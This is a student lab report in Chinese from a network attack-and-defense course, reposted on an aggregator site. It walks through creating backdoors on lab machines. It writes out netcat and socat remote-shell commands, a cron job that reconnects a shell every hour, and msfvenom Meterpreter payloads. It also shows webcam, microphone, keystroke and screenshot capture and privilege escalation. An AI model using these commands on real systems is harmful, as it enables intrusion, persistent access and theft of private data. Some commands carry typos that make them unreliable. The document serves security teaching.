20232318 2025-2026-1 《网络与系统攻防技术》实验二实验报告

news/2025/10/22 21:55:12/文章来源:https://www.cnblogs.com/wangtianhao/p/19159053

一、实验核心原理与内容解析

本次实验聚焦 “后门原理与实践”,核心是通过工具配置、定时触发、漏洞利用等手段,实现对目标主机的远程控制与信息窃取,同时理解后门的植入、启动与隐藏机制。实验内容涵盖五类典型场景,分别对应基础网络工具(netcat/socat)、专业渗透框架(Metasploit Meterpreter)及漏洞利用(缓冲区溢出注入),具体如下:

1.netcat 双向 Shell 获取:利用 netcat 的端口监听与反向连接功能,实现 Windows 与 Linux 主机间的跨系统 Shell 控制,并通过 Linux cron 定时任务让后门按预设时间自动触发。

2.socat 定时 Shell 控制:借助 socat 的端口绑定能力,将 Windows 的 cmd.exe 与指定端口关联,再通过 Windows 任务计划实现定时启动,最终由 Linux 端连接获取控制权。

3.MSF Meterpreter 后门生成与控制:使用 Metasploit 框架的 msfvenom 生成 Windows 可执行后门,通过 netcat 传输到目标主机,配合 msfconsole 监听模块获取远程 Shell。

4.MSF Meterpreter 深度控制:基于已获取的 Shell,实现音频录制、摄像头调用、击键记录等隐私窃取操作,尝试权限提升(getsystem),并完成进程交互、文件传输等系统控制。

5.Shellcode 注入与缓冲区溢出:获取 Linux/x86 平台反弹 Shellcode,结合前期实验的 pwn1 文件(含缓冲区溢出漏洞),将 Shellcode 注入并触发,实现本地反弹连接获取 Shell。

二、实验详细操作过程

1.netcat 双向 Shell 获取

1.1:获取windows和linux主机IP

windows主机终端输入ipconfig查看windows ip地址:192.168.3.5

linux主机的终端下输入ifconfig查看linux地址:192.168.2.129

image

image

 

1.2:Windows 端启动监听

打开 cmd 终端,切换到 netcat 所在目录,执行命令输入以下代码:.\ncat.exe -l -p 2318,其中-l表示开启监听模式,-p 2318指定监听 2318 端口,等待 Linux 端连接。

如图所示开始监听2318端口

image

 

1.3:Linux 端主动反弹连接

Kali Linux 终端中,执行nc 192.168.3.5 2318 -e /bin/sh

此时 Windows cmd 终端会显示 Linux 系统的命令行界面,可执行ls(查看目录)、pwd(查看当前路径)等 Linux 命令,成功获取 Linux Shell。

image

如下图可见成功连接,输入ls查看目录。

 

image

 

 

1.4:Linux 配置 cron 定时任务

为实现后门自动触发,在 Kali 端执行crontab -e编辑定时任务(首次执行会提示选择编辑器,此处选择 nano),在配置文件末尾添加05 * * * * /usr/bin/netcat 192.168.3.5 2318 -e /bin/sh

image

 

image

保存退出后,执行crontab -l验证配置是否生效。

image

 

随后在 Windows 端执行.\ncat.exe -l -p 2318监听 2318 端口,当时间到达每小时第 6 分钟时,Kali 会自动发起连接,Windows 端即可获取 Linux Shell。(因为我在代码输入时对时间有了影响,故得到最后结果是我更改到第21分钟后自动连接,如下图)

 

image

 

 

1.5:Linux 监听,Windows 反向连接

Windows 端配置反向连接监听:

Windows cmd 终端执行.\ncat.exe -e cmd.exe -lvp 2318,其中-e cmd.exe表示连接成功后执行 Windows 命令行(提供 cmd Shell),-l(监听)、-v(显示详细连接信息)、-p 2318(监听 5566 端口)。

Linux 端主动连接获取 Shell:

Kali 终端执行nc 192.168.3.5 2318,连接 Windows 的 2318端口。成功连接后,Kali 终端会显示 Windows 的 cmd 界面,可执行dir(查看 Windows 目录)、cd(切换路径)等命令,执行dir D:\ncat\ncat可查看 netcat 所在目录的文件列表,实现对 Windows 的 Shell 控制。如下图成功。

image

 

2.socat 定时 Shell 控制

socat 是 netcat 的增强版,支持更丰富的数据流定向,可将进程(如 cmd.exe)与网络端口绑定,核心通过exec:参数关联命令行,pty模拟终端环境,stderr重定向确保错误信息正常输出。Windows 任务计划可实现程序定时 / 触发启动,替代 Linux 的 cron 功能。

 

2.1:Windows 创建任务计划

下载socat文件,在“计算机管理”界面进入“任务计划程序库”点击 “创建任务”,点击“操作” 选项卡后点击 “新建”,“程序或脚本” 选择 socat.exe 路径(如图D:\socat\socat.exe),“添加参数” 填写

tcp-listen:2318 exec:cmd.exe,pty,stderr

 

image

 

如图,创建完成后,任务状态显示 “准备就绪”,到达触发时间后状态变为 “正在运行”,表示 socat 已启动并监听 2318 端口。

image

 

2.2:Linux 端连接获取 Windows Shell

Kali 终端执行socat - tcp:192.168.3.5:2318,成功连接后,终端会显示 Windows 的 cmd 界面,实现对 Windows 的远程控制。

如图所示,可以输入dir查看目录信息

 

image

 

3.MSF Meterpreter 后门生成与控制

Metasploit(简称 MSF)是专业渗透测试框架,msfvenom用于生成恶意 payload(后门),msfconsole提供交互界面,meterpreter是功能强大的后门模块,支持多平台控制与隐私窃取,核心优势是隐蔽性强、功能可扩展。

 

3.1:生成 Windows 后门程序

Kali 终端执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.156 LPORT=2318 -f exe > 20232318_backdoor.exe

执行后会显示 payload 大小(约 354 字节)与最终 exe 文件大小(约 73KB),表示后门生成成功。如下图成功

image

3.2:后门传输到 Windows 主机

Windows 端启动接收:在 Windows cmd 终端切换到 netcat 目录,执行ncat.exe -l -p 2318 > 20232318_backdoor.exe

image

Linux 端发送后门:在 Kali 终端执行nc 192.168.3.5 2318 < 20232318_backdoor.exe

传输完成后,Windows 端可在 netcat 目录下看到后门文件。如下图

image

image

 

3.3:MSF 监听与获取 Shell

启动 MSF 控制台:在 Kali 终端执行msfconsole,进入 Metasploit 交互界面。

 

image

 

配置监听模块:

执行use exploit/multi/handler,加载通用监听模块;

执行set payload windows/meterpreter/reverse_tcp,设置 payload 与后门一致(反向 TCP 连接);

执行set LHOST 192.168.2.129,设置监听 IP(与后门的 LHOST 一致);

执行set LPORT 2318,设置监听端口(与后门的 LPORT 一致)

执行show options验证配置,确保所有必填项(payload、LHOST、LPORT)正确。

如下图成功配置

image

image

启动监听与触发后门:

执行exploit启动监听,随后在终端输入:20232318_backdoor.exe运行后门,无图形界面,后台运行

image

此时 Kali 端会显示 “Meterpreter session 1 opened”,表示成功建立连接,输入meterpreter >提示符,可执行dir(查看 Windows 目录)、getuid(查看当前用户)等命令,获取 Windows Shell。

如下图成功运行

image

4.MSF Meterpreter 深度控制功能

Meterpreter 提供丰富的后渗透模块,支持隐私窃取、权限提升、系统控制等操作,无需额外安装插件,直接通过命令调用。

 

4.1:隐私窃取操作

音频录制:执行record_mic

录制完成后会提示音频文件保存路径/usr/bin,可在 Kali 端播放查看。

image

摄像头拍照:执行webcam_snap,Meterpreter 会调用 Windows 主机的摄像头拍摄一张照片

image

 

击键记录:

执行keyscan_start启动击键监听,此时 Windows 用户的键盘输入会被记录;

执行keyscan_dump可查看已记录的内容(如输入的命令、文本);

执行keyscan_stop停止监听。

如图所示,Kali 端keyscan_dump会显示输入内容。

image

屏幕截图:执行screenshot,Meterpreter 会捕获 Windows 当前屏幕,保存为 JPEG 文件,可查看用户当前操作界面。

如下图所示

image

image

4.2:权限提升与系统控制

查看与提升权限:

执行getuid查看当前用户;

执行getsystem尝试提升为系统权限,成功后会提示 “got system via technique X”

image

系统信息与进程查看:

执行sysinfo获取 Windows 系统信息;

执行ps列出所有进程,可查看进程 ID(PID)、父进程 ID(PPID)、进程路径等,如下图所示成果

image

进程交互:

执行execute -H -i -f cmd.exe,-H表示隐藏进程,-i表示交互模式,-f cmd.exe指定执行 Windows 命令行

此时会新建一个 cmd 通道(Channel 1),可直接输入 Windows 命令(如ipconfig查看网络配置),与本地 cmd 操作一致。

image

文件传输:

执行upload /home/wangtianhao/photo/dvXzflNb.jpeg D:,将 Kali 端的截图文件上传到 Windows 的 D 盘;

image

image

执行upload /home/wangtianhao/20232318.txt D:,将 Windows 端的文本文件下载到 Kali 目录,传输完成后会提示 “Completed”。

 

image

 

image

 

5.Shellcode 注入与缓冲区溢出利用

缓冲区溢出是指程序写入数据超过缓冲区容量,覆盖相邻内存区域(如返回地址),若将返回地址指向恶意 Shellcode,可触发执行恶意代码。本实验基于 Linux/x86 平台的 pwn1 文件(含缓冲区溢出漏洞),注入反弹 Shellcode 实现控制。

5.1:获取与处理 Shellcode

通过命令:

 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.129 LPORT=2318 -x /home/wangtianhao/pwn/pwn20232shiyan2 -f elf > 20232318.pwn

 

将一个Linux系统下的反向连接Meterpreter后门,注入到实验一中所给出的已有的pwn1文件,并生成一个新的,本事便附带有后门的可执行文件pwn20232iyan2。

image

5.2:MSF 启动监听

打开 Kali 终端,执行msfconsole,加载监听模块

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set LHOST 192.158.2.129

set LPORT 2318(与 Shellcode 端口一致);

exploit启动监听。

image

 

5.3触发缓冲区溢出

在原 Kali 终端执行20232318.pwn,输入./20232318.pwn

其中20232318.pwn将注入数据传入 pwn1,保持输入流打开。

 

image

 

此时 pwn1 发生缓冲区溢出,返回地址指向 Shellcode,触发反向连接,得到当前Winodws主机下盘目录中的内容,输入dir命令可验证 Shell 获取成功。

 

image

 

三、实验问题与解决方案

问题1:在生成后门后,想要通过在linux直接使用nc指令将生成的后门程序传送到Windows主机上时,我出现了无法传送的问题

image

问题1解决方案:无法直接传送,那我便通过Windows 主机必须先启动 ncat 的监听,并且只需单纯监听端口并接收文件,而后再进行nc指令传送,最后成功接收文件。

 

问题2:在进行使用MSF生成shellcode步骤时,我无法生成一个新的、带有后门的可执行文件

image

问题2解决方案:我发现代码形式有小错误,将 payload 名称修改为正确的格式 linux/x86/meterpreter/reverse_tcp,payload 名称必须精确匹配 Metasploit 支持的格式,reverse_tcp 是反向 TCP 连接的标准 payload 名称,缺少 _tcp 会导致识别失败。

修改后执行命令,即可正常生成带有后门的 ELF 可执行文件。

 

四、学习感悟与思考

在完成 “后门原理与实践” 实验的过程中,我对网络攻防技术的认知从理论层面深入到了实践操作,也对 “攻防对抗” 的本质有了更深刻的思考,收获颇丰。

起初接触 netcat、socat、Metasploit 这些工具时,仅将其视为 “操作指令的集合”,但随着实验推进,我逐渐理解了每一个参数、每一步配置背后的原理。比如 netcat 的 “反向连接” 机制,本质是利用网络通信的双向性打破 “攻击机 - 目标机” 的被动 / 主动关系;cron 和任务计划的定时触发,是对系统自动化执行逻辑的利用,这让我明白 “后门的隐蔽性” 很大程度上依赖于对目标系统原生功能的 “伪装式使用”。

Metasploit Meterpreter 的深度体验则刷新了我对 “后门功能边界” 的认知。从简单的 Shell 获取到音频录制、摄像头调用、击键记录,这些功能并非 “独立开发”,而是基于目标系统 API 的直接调用—— 这意味着只要掌握系统底层接口,后门的功能可以无限扩展。这种 “模块化、可扩展” 的设计思路,也让我意识到现代渗透工具的强大并非源于 “黑盒魔法”,而是对系统原理的极致挖掘。

在实验过程中,我时刻提醒自己:这些技术的本质是 “攻防研究工具”,其价值在于帮助防御者发现系统漏洞、提升防护能力。当成功获取目标主机的摄像头权限时,我深刻感受到 “技术力量的两面性”—— 它可以是安全研究的利器,也可能成为侵犯隐私的凶器。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/943778.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ubuntu 25.10 修改源 - ldx

ubuntu 25.10 修改源# Ubuntu sources have moved to /etc/apt/sources.list.d/ubuntu.sourcessudo gedit /etc/apt/sources.list.d/*.list

pytorch学习笔记(1)

pytorch的模块 Pytorch 官方文档链接: https://pytorch.org/docs/stable torch.nn:神经网络相关api torch.option: 优化算法 torch.utils.data : dataset,dataLoader1.pytorch和tensorflow区别2.tensor(向量)相关操作…

20232404 2025-2026-2 《网络与系统攻防技术》实验二实验报告

一、实验内容 (一)主要内容掌握后门核心原理。 学会如何设置后门,如netcat、socat、MSF meterpreter等工具的使用。 熟悉Linux与Windows系统的后门启动机制。(二)回答问题 (1) 例举你能想到的一个后门进入到你系统…

1020302118兰逸霏的第一次作业

作业一 1.用requests和BeautifulSoup库方法定向爬取给定网址(http://www.shanghairanking.cn/rankings/bcur/2020 )的数据,屏幕打印爬取的大学排名信息。排名 学校名称 省市 学校类型 总分1 清华大学 北京 综合 852…

MathType 7下载安装教程及激活教程wps嵌入教程(含下载+安装+汉化激活+安装包)

目录一、写在前面:为啥这篇MathType 7教程一定要看?二、先搞懂:MathType 7为啥是教育/科研必备?三、第一步:MathType 7安装包下载(2025实测无病毒,直链速取)四、核心步骤:MathType 7安装+汉化激活(每步带避坑…

论学习有感——驳学习(读书)无用论

从读书以来学习已经二十年有余,一直依靠着天分和性情在体制化的学习道路上浑浑噩噩的深造。有些许个问题,长期以来也没个自己的答案,顺着接受校方和老师的短期目标,也就一直这么过来了。近年来,随着社会上一些争执…

嵌入式软件分层架构设计 - lucky

一、什么是嵌入式分层架构 “嵌入式分层架构”并不是一个全新的架构类型,而是指在嵌入式系统开发中应用和实现分层架构的设计模式,它继承了通用分层架构的所有核心思想和优点,但根据嵌入式系统的独特约束和需求进行…

DP 基础题乱做

恶补基础 DP. CF1061C 多样性 转移是经典的子序列 DP,考虑前 \(i\) 个数,子序列长度为 \(j\) 的方案数. 转移: \[f_{i,j}=\begin{cases} f_{i-1,j-1}+f_{i-1,j}&j\mid a_i\\ f_{i-1,j}&otherwise. \end{cas…

20232315 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20232315 2025-2026-1 《网络与系统攻防技术》实验二实验报告20232315 2025-2026-1 《网络与系统攻防技术》实验二实验报告 目录一、实验基本信息二、实验内容三、实验要求四、实验过程4.1使用netcat获取主机操作Shell…

2025-10-21 XQQ Round 赛后总结

赛时心路历程开 T1,然后 think 一会就秒掉了。大洋里一遍过。 开 T2,然后 think 一会就秒掉了。大洋里也是一遍过。 15:48 think T3,结果假了。但是注意到在 \(m=0\) 的时候是对的,10 分也是分。 16:25 想不到 T3。…

《中华人民共和国网络安全法》第二十一条这一核心考点

《网络安全法》第二十一条 考点精析 法条原文:国家实行网络安全等级保护制度。网络运营者应当按照网络安全等级保护制度的要求,履行下列安全保护义务,保障网络免受干扰、破坏或者未经授权的访问,防止网络数据泄露或…

二三级区别

等保第二级 vs 第三级核心差异及考点精析 核心关系:第二级是 “指导防护” ,第三级是 “强制管控、增强审计” 。从二级到三级是质的飞跃,而非简单量的增加,这正是考试的重点。核心差异对比与考点解析控制领域 核心…

小红书 404 重定向

function clientRedirect(e) { window.location.href = e, setTimeout(function() { window.location.href = e }, 100), setTimeout(function() { …

第九章-Where-1S-tHe-Hacker

第九章-Where-1S-tHe-Hacker 1、通过本地 PC RDP到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交; 这里一定一定要先把windows安全中心关了。不然会影响后门题目正常做从这里看到了管理员账户和密码,我们先看…

CF 2023D Many Games

huiyoude上界卡不来,怎么这么菜??? 下文的概率都是指的 \(\frac{p}{100}\)。 首先有一个想法就是直接背包,但是 \(\prod p\) 涉及不小的数的乘积并不好放入状态,所以考虑设 \(f_s\) 表示 \(\sum w = s\) 的最大概…

2025.10.22考试记录

T1 题意 在 \(n\) 瓶水中有1瓶毒药,\(m\)次实验,每次选择 \(k\) 瓶水测试其中是否有毒药,给出实验结果,试判断能否辨别出毒药,若能则给出最早得出结论的实验批次,否则求出可能成为毒药的编号。 分析 提前一天就被…

2025多校冲刺CSP模拟赛7 题目分析

T1 题目概述 求: \[\sum_{i=1}^n\sum_{j=i}^n[\gcd(i,j)=i\text{ xor } j] \]其中 \(n\leq 10^7\)。 分析 赛时没有做出来(doge)。 其实细想一下还是可以做的。 不难想到枚举 \(d=\gcd(i,j)\),那么 \(i\text{ xor …

学习资源

关于科研方向以及自己学习的一些经验借鉴资源 LLM 度盘有资料 【1080P】安德烈卡帕西:深入探索像ChatGPT这样的大语言模型|Andrej Karpathy 【2025最新】LLM大模型零基础全套入门保姆级课程,台大李宏毅《生成式人工…

CMC-C# Visual Studio2022 中不能进入断点設置方法

CMC-C# Visual Studio2022 中不能进入断点設置方法

[题解]P4616 [COCI 2017/2018 #5] Pictionary

P4616 [COCI 2017/2018 #5] Pictionary 我们发现,第 \(i\) 天会让所有为 \((m-i+1)\) 倍数的节点相互连通。可以将 \((m-i+1)\) 向它所有的倍数连边,效果是相同的。 我们规定边权为 \(i\)。 那么对于建好的图,我们不…